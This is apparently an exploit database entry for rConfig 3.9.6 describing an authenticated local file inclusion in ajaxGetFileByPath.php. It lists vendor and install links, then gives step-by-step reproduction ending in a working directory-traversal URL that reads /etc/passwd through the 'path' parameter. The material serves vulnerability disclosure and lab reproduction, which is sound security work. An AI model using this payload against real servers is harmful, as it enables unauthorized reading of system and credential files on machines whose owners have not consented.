rConfig 3.9.6 - 'path' Local File Inclusion (Authenticated)

# Exploit Title: rConfig 3.9.6 - 'path' Local File Inclusion (Authenticated)
# Date: 2021-03-12
# Exploit Author: 5a65726f
# Vendor Homepage: https://www.rconfig.com
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
# Version: rConfig v3.9.6
# Install scripts  :
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
# Tested on: centOS 7
# Notes : If you want to reproduce in your lab environment follow those links :
# http://help.rconfig.com/gettingstarted/installation
# then
# http://help.rconfig.com/gettingstarted/postinstall

# Description:
rConfig, the open source network device configuration management tool, is vulnerable to local file inclusion in /lib/ajaxHandlers/ajaxGetFileByPath.php with parameter path.  ajaxGetFileByPath.php allows authenticated users to download any file on the server.

The following steps can be carried out in duplicating this vulnerability.

- Login the rConfig application with your credentials.
- Enter the following link to your browser: 
http(s)://<SERVER>/lib/ajaxHandlers/ajaxGetFileByPath.php?path=../../../../../../etc/passwd